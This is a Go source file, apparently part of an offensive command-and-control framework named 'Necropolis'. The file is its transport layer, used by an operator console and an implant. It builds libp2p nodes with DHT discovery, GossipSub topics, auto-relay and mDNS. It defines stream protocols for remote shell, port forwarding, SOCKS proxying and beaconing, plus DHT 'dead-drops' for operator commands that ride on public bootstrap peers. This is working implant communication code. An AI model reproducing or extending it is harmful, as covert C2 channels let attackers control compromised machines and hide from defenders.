512 lines
14 KiB
Go
512 lines
14 KiB
Go
// Node wraps a libp2p host with DHT, PubSub (GossipSub), relay services, and mDNS
|
|
// discovery. Used by both the operator and the implant.
|
|
package transport
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"log"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"github.com/libp2p/go-libp2p"
|
|
dht "github.com/libp2p/go-libp2p-kad-dht"
|
|
pubsub "github.com/libp2p/go-libp2p-pubsub"
|
|
"github.com/libp2p/go-libp2p/core/crypto"
|
|
"github.com/libp2p/go-libp2p/core/host"
|
|
"github.com/libp2p/go-libp2p/core/network"
|
|
"github.com/libp2p/go-libp2p/core/peer"
|
|
"github.com/libp2p/go-libp2p/core/protocol"
|
|
"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
|
|
routingdiscovery "github.com/libp2p/go-libp2p/p2p/discovery/routing"
|
|
"github.com/libp2p/go-libp2p/p2p/host/autorelay"
|
|
"github.com/multiformats/go-multiaddr"
|
|
)
|
|
|
|
// Protocol ID constants for libp2p stream handlers and PubSub topic prefixes.
|
|
const (
|
|
NecropolisProtocolID protocol.ID = "/x/1.0.0"
|
|
ShellProtocolID protocol.ID = "/x/sh/1.0.0"
|
|
PortfwdProtocolID protocol.ID = "/x/pf/1.0.0"
|
|
SocksProtocolID protocol.ID = "/x/sk/1.0.0"
|
|
BeaconProtocolID protocol.ID = "/bc/1.0.0"
|
|
CmdProtocolID protocol.ID = "/bc/1.0.0/cmd"
|
|
CommandTopicPrefix string = "/c/"
|
|
BeaconTopicPrefix string = "/b/"
|
|
TaskTopicPrefix string = "/t/"
|
|
CommandsSuffix string = "/cx"
|
|
BeaconsSuffix string = "/bx"
|
|
TasksSuffix string = "/tx/"
|
|
)
|
|
|
|
// DefaultBootstrapAddrs parses the well-known libp2p bootstrap peers.
|
|
func DefaultBootstrapAddrs() []peer.AddrInfo {
|
|
var out []peer.AddrInfo
|
|
for _, s := range defaultBootstrapPeers {
|
|
m, err := multiaddr.NewMultiaddr(s)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
pi, err := peer.AddrInfoFromP2pAddr(m)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
out = append(out, *pi)
|
|
}
|
|
return out
|
|
}
|
|
|
|
var defaultBootstrapPeers = []string{
|
|
"/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
|
|
"/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
|
|
"/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
|
|
"/dnsaddr/bootstrap.libp2p.io/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
|
|
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkWJkMhM9D3wPKahRmKwZGQ3KYb3dxf5achHy3G1Uq",
|
|
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLwGxn5SkKBzKWHa39shjmAjEZzNzuhNedmCRG5Tc",
|
|
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLP1pX2hDp6dGApnsrGeFCKLQcWFLTKBk4iLKofCE",
|
|
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkM7KMCdmENeFw5KnELi5LKYhJBsWjoJV7BctSgjGQ",
|
|
}
|
|
|
|
// NodeConfig holds all options for constructing a Node: listen address, bootstrap peers,
|
|
// relay settings, DHT, mDNS, and the libp2p identity key.
|
|
type NodeConfig struct {
|
|
ListenAddr string
|
|
BootstrapPeers []peer.AddrInfo
|
|
EnableRelay bool
|
|
EnableRelayService bool
|
|
EnableMDNS bool
|
|
EnableDHT bool
|
|
RelayAddrs []string
|
|
PrivateKey crypto.PrivKey
|
|
}
|
|
|
|
// Node owns the libp2p host, GossipSub router, optional DHT, routing discovery, and
|
|
// cached topics/subscriptions.
|
|
type Node struct {
|
|
Host host.Host
|
|
PubSub *pubsub.PubSub
|
|
DHT *dht.IpfsDHT
|
|
disc *routingdiscovery.RoutingDiscovery
|
|
config NodeConfig
|
|
topics map[string]*pubsub.Topic
|
|
subs map[string]*pubsub.Subscription
|
|
mu sync.RWMutex
|
|
ctx context.Context
|
|
cancel context.CancelFunc
|
|
}
|
|
|
|
// NewNode creates a libp2p host with the given config, sets up PubSub and optional DHT,
|
|
// and configures auto-relay if relay addresses are provided.
|
|
func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) {
|
|
ctx, cancel := context.WithCancel(ctx)
|
|
|
|
baseOpts := []libp2p.Option{
|
|
libp2p.ListenAddrStrings(cfg.ListenAddr),
|
|
}
|
|
|
|
if cfg.PrivateKey != nil {
|
|
baseOpts = append(baseOpts, libp2p.Identity(cfg.PrivateKey))
|
|
}
|
|
|
|
if cfg.EnableRelay {
|
|
baseOpts = append(baseOpts, libp2p.EnableRelay())
|
|
}
|
|
if cfg.EnableRelayService {
|
|
baseOpts = append(baseOpts, libp2p.EnableRelayService())
|
|
}
|
|
|
|
var h host.Host
|
|
var err error
|
|
|
|
if len(cfg.RelayAddrs) > 0 {
|
|
if cfg.EnableDHT {
|
|
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
|
|
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
|
|
return findRelayCandidates(ctx, num, h)
|
|
}),
|
|
))
|
|
} else {
|
|
var relays []peer.AddrInfo
|
|
for _, s := range cfg.RelayAddrs {
|
|
m, err := multiaddr.NewMultiaddr(s)
|
|
if err != nil {
|
|
cancel()
|
|
return nil, fmt.Errorf("parse relay addr %q: %w", s, err)
|
|
}
|
|
pi, err := peer.AddrInfoFromP2pAddr(m)
|
|
if err != nil {
|
|
cancel()
|
|
return nil, fmt.Errorf("parse relay peer info %q: %w", s, err)
|
|
}
|
|
relays = append(relays, *pi)
|
|
}
|
|
baseOpts = append(baseOpts, libp2p.EnableAutoRelayWithStaticRelays(relays))
|
|
}
|
|
} else if cfg.EnableDHT {
|
|
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
|
|
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
|
|
return findRelayCandidates(ctx, num, h)
|
|
}),
|
|
))
|
|
}
|
|
|
|
baseOpts = append(baseOpts, opts...)
|
|
|
|
h, err = libp2p.New(baseOpts...)
|
|
if err != nil {
|
|
cancel()
|
|
return nil, fmt.Errorf("create libp2p host: %w", err)
|
|
}
|
|
|
|
if len(cfg.RelayAddrs) > 0 && cfg.EnableDHT {
|
|
go tryStaticRelayConnections(ctx, h, cfg.RelayAddrs)
|
|
}
|
|
|
|
params := pubsub.DefaultGossipSubParams()
|
|
params.D = 6
|
|
params.Dlo = 4
|
|
params.Dhi = 12
|
|
params.HistoryLength = 10
|
|
params.HistoryGossip = 5
|
|
params.HeartbeatInterval = 1 * time.Second
|
|
|
|
ps, err := pubsub.NewGossipSub(ctx, h,
|
|
pubsub.WithPeerExchange(true),
|
|
pubsub.WithFloodPublish(true),
|
|
pubsub.WithGossipSubParams(params),
|
|
)
|
|
if err != nil {
|
|
cancel()
|
|
return nil, fmt.Errorf("create pubsub: %w", err)
|
|
}
|
|
|
|
n := &Node{
|
|
Host: h,
|
|
PubSub: ps,
|
|
config: cfg,
|
|
topics: make(map[string]*pubsub.Topic),
|
|
subs: make(map[string]*pubsub.Subscription),
|
|
ctx: ctx,
|
|
cancel: cancel,
|
|
}
|
|
|
|
if cfg.EnableDHT {
|
|
d, err := dht.New(ctx, h, dht.Mode(dht.ModeAuto),
|
|
dht.ProtocolPrefix("/necropolis"),
|
|
dht.NamespacedValidator("necropolis", passThroughValidator{}),
|
|
)
|
|
if err != nil {
|
|
cancel()
|
|
return nil, fmt.Errorf("create dht: %w", err)
|
|
}
|
|
n.DHT = d
|
|
n.disc = routingdiscovery.NewRoutingDiscovery(d)
|
|
}
|
|
|
|
return n, nil
|
|
}
|
|
|
|
// StartDiscovery connects to bootstrap peers, bootstraps the DHT routing table, and
|
|
// starts mDNS if enabled.
|
|
func (n *Node) StartDiscovery() error {
|
|
go func() {
|
|
defer func() {
|
|
recover()
|
|
}()
|
|
for _, pi := range n.config.BootstrapPeers {
|
|
connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
|
|
if err := n.Host.Connect(connectCtx, pi); err != nil {
|
|
cancel()
|
|
continue
|
|
}
|
|
cancel()
|
|
}
|
|
}()
|
|
|
|
if n.DHT != nil {
|
|
go func() {
|
|
defer func() {
|
|
recover()
|
|
}()
|
|
n.DHT.Bootstrap(n.ctx)
|
|
}()
|
|
}
|
|
|
|
if n.config.EnableMDNS {
|
|
svc := mdns.NewMdnsService(n.Host, "necropolis", &mdnsNotifee{h: n.Host})
|
|
if err := svc.Start(); err != nil {
|
|
return fmt.Errorf("start mdns: %w", err)
|
|
}
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
type mdnsNotifee struct {
|
|
h host.Host
|
|
}
|
|
|
|
// HandlePeerFound adds discovered mDNS peer addresses to the peerstore.
|
|
func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) {
|
|
if pi.ID == m.h.ID() {
|
|
return
|
|
}
|
|
for _, addr := range pi.Addrs {
|
|
m.h.Peerstore().AddAddr(pi.ID, addr, time.Hour)
|
|
}
|
|
}
|
|
|
|
// Advertise registers this node under a DHT rendezvous namespace.
|
|
func (n *Node) Advertise(ctx context.Context, ns string) error {
|
|
if n.disc == nil {
|
|
return fmt.Errorf("DHT not enabled")
|
|
}
|
|
_, err := n.disc.Advertise(ctx, ns)
|
|
return err
|
|
}
|
|
|
|
// FindPeers performs a DHT-based peer discovery for the given namespace.
|
|
func (n *Node) FindPeers(ctx context.Context, ns string) (<-chan peer.AddrInfo, error) {
|
|
if n.disc == nil {
|
|
return nil, fmt.Errorf("DHT not enabled")
|
|
}
|
|
return n.disc.FindPeers(ctx, ns)
|
|
}
|
|
|
|
// JoinTopic joins a PubSub topic, caching the handle for reuse.
|
|
func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) {
|
|
n.mu.Lock()
|
|
defer n.mu.Unlock()
|
|
|
|
if t, ok := n.topics[topic]; ok {
|
|
return t, nil
|
|
}
|
|
|
|
t, err := n.PubSub.Join(topic)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("join topic %s: %w", topic, err)
|
|
}
|
|
n.topics[topic] = t
|
|
return t, nil
|
|
}
|
|
|
|
// Subscribe creates a subscription to a PubSub topic, caching it for reuse.
|
|
func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) {
|
|
n.mu.Lock()
|
|
defer n.mu.Unlock()
|
|
|
|
if s, ok := n.subs[topic]; ok {
|
|
return s, nil
|
|
}
|
|
|
|
t, ok := n.topics[topic]
|
|
if !ok {
|
|
var err error
|
|
t, err = n.PubSub.Join(topic)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("join topic %s: %w", topic, err)
|
|
}
|
|
n.topics[topic] = t
|
|
}
|
|
|
|
sub, err := t.Subscribe()
|
|
if err != nil {
|
|
return nil, fmt.Errorf("subscribe %s: %w", topic, err)
|
|
}
|
|
n.subs[topic] = sub
|
|
return sub, nil
|
|
}
|
|
|
|
// Publish sends data to a PubSub topic.
|
|
func (n *Node) Publish(ctx context.Context, topic string, data []byte) error {
|
|
t, err := n.JoinTopic(topic)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return t.Publish(ctx, data)
|
|
}
|
|
|
|
// ConnectToPeer establishes a libp2p connection to the given peer.
|
|
func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error {
|
|
return n.Host.Connect(ctx, pi)
|
|
}
|
|
|
|
// SetStreamHandler registers a handler for the given protocol ID on the libp2p host.
|
|
func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) {
|
|
n.Host.SetStreamHandler(pid, handler)
|
|
}
|
|
|
|
// NewStream opens a libp2p stream to the given peer on the given protocol.
|
|
func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) {
|
|
return n.Host.NewStream(ctx, p, pid)
|
|
}
|
|
|
|
// WaitForDHT blocks until the DHT routing table has at least 5 peers, or 30 attempts.
|
|
func (n *Node) WaitForDHT(ctx context.Context) bool {
|
|
for i := 0; i < 30; i++ {
|
|
if n.DHT.RoutingTable().Size() >= 5 {
|
|
return true
|
|
}
|
|
select {
|
|
case <-ctx.Done():
|
|
return false
|
|
case <-time.After(2 * time.Second):
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// Close cancels the node context, shuts down the DHT, and closes the host.
|
|
func (n *Node) Close() error {
|
|
n.cancel()
|
|
if n.DHT != nil {
|
|
n.DHT.Close()
|
|
}
|
|
return n.Host.Close()
|
|
}
|
|
|
|
// Addrs returns the host's multiaddresses.
|
|
func (n *Node) Addrs() []multiaddr.Multiaddr {
|
|
return n.Host.Addrs()
|
|
}
|
|
|
|
// ID returns the host's libp2p peer ID.
|
|
func (n *Node) ID() peer.ID {
|
|
return n.Host.ID()
|
|
}
|
|
|
|
// PutDHTValue stores a value under key in the DHT. Value size limited to ~1KB.
|
|
func (n *Node) PutDHTValue(ctx context.Context, key string, value []byte) error {
|
|
if n.DHT == nil {
|
|
return fmt.Errorf("DHT not enabled")
|
|
}
|
|
return n.DHT.PutValue(ctx, key, value)
|
|
}
|
|
|
|
// GetDHTValue retrieves the best value for key from the DHT.
|
|
func (n *Node) GetDHTValue(ctx context.Context, key string) ([]byte, error) {
|
|
if n.DHT == nil {
|
|
return nil, fmt.Errorf("DHT not enabled")
|
|
}
|
|
val, err := n.DHT.GetValue(ctx, key)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return val, nil
|
|
}
|
|
|
|
// passThroughValidator accepts any key/value — used for DHT dead-drop namespace
|
|
// where we just need storage with no validation.
|
|
type passThroughValidator struct{}
|
|
|
|
func (passThroughValidator) Validate(_ string, _ []byte) error { return nil }
|
|
func (passThroughValidator) Select(_ string, _ [][]byte) (int, error) { return 0, nil }
|
|
|
|
// CommandDHTKey returns the DHT key for operator command dead-drops.
|
|
// Registered under the /necropolis/ namespace via NamespacedValidator.
|
|
func CommandDHTKey(operatorID peer.ID, nonce int64) string {
|
|
return "/necropolis/cmd/" + operatorID.String() + "/" + fmt.Sprintf("%d", nonce)
|
|
}
|
|
|
|
// RelayRendezvousString returns the DHT namespace for relay peer discovery.
|
|
func (n *Node) RelayRendezvousString(operatorID peer.ID) string {
|
|
return "necropolis/relay/" + operatorID.String()
|
|
}
|
|
|
|
// AdvertiseRelay advertises this node as a relay on the given DHT namespace.
|
|
func (n *Node) AdvertiseRelay(ctx context.Context, ns string) error {
|
|
if n.disc == nil {
|
|
return fmt.Errorf("DHT not enabled")
|
|
}
|
|
_, err := n.disc.Advertise(ctx, ns)
|
|
return err
|
|
}
|
|
|
|
// FindRelayPeers discovers peers advertising themselves as relays on the given namespace.
|
|
func (n *Node) FindRelayPeers(ctx context.Context, ns string, limit int) ([]peer.AddrInfo, error) {
|
|
if n.disc == nil {
|
|
return nil, fmt.Errorf("DHT not enabled")
|
|
}
|
|
peerCh, err := n.disc.FindPeers(ctx, ns)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
var out []peer.AddrInfo
|
|
for pi := range peerCh {
|
|
if len(pi.Addrs) == 0 {
|
|
continue
|
|
}
|
|
out = append(out, pi)
|
|
if len(out) >= limit {
|
|
break
|
|
}
|
|
}
|
|
return out, nil
|
|
}
|
|
|
|
// findRelayCandidates scans connected peers for those running circuit relay.
|
|
func findRelayCandidates(ctx context.Context, num int, h host.Host) <-chan peer.AddrInfo {
|
|
ch := make(chan peer.AddrInfo, num)
|
|
go func() {
|
|
defer func() {
|
|
recover()
|
|
}()
|
|
defer close(ch)
|
|
if h == nil {
|
|
return
|
|
}
|
|
for _, p := range h.Network().Peers() {
|
|
if len(ch) >= num {
|
|
return
|
|
}
|
|
protocols, err := h.Peerstore().GetProtocols(p)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, proto := range protocols {
|
|
if strings.Contains(string(proto), "circuit/relay") {
|
|
addrs := h.Peerstore().Addrs(p)
|
|
if len(addrs) > 0 {
|
|
select {
|
|
case ch <- peer.AddrInfo{ID: p, Addrs: addrs}:
|
|
case <-ctx.Done():
|
|
return
|
|
}
|
|
}
|
|
break
|
|
}
|
|
}
|
|
}
|
|
}()
|
|
return ch
|
|
}
|
|
|
|
// tryStaticRelayConnections attempts to connect to each static relay address in the config.
|
|
func tryStaticRelayConnections(ctx context.Context, h host.Host, relayAddrs []string) {
|
|
for _, s := range relayAddrs {
|
|
m, err := multiaddr.NewMultiaddr(s)
|
|
if err != nil {
|
|
log.Printf("[node] parse relay addr %q: %v", s, err)
|
|
continue
|
|
}
|
|
pi, err := peer.AddrInfoFromP2pAddr(m)
|
|
if err != nil {
|
|
log.Printf("[node] parse relay peer %q: %v", s, err)
|
|
continue
|
|
}
|
|
connCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
|
|
err = h.Connect(connCtx, *pi)
|
|
cancel()
|
|
if err != nil {
|
|
log.Printf("[node] relay %s unreachable: %v", pi.ID.String(), err)
|
|
continue
|
|
}
|
|
log.Printf("[node] connected to relay %s", pi.ID.String())
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|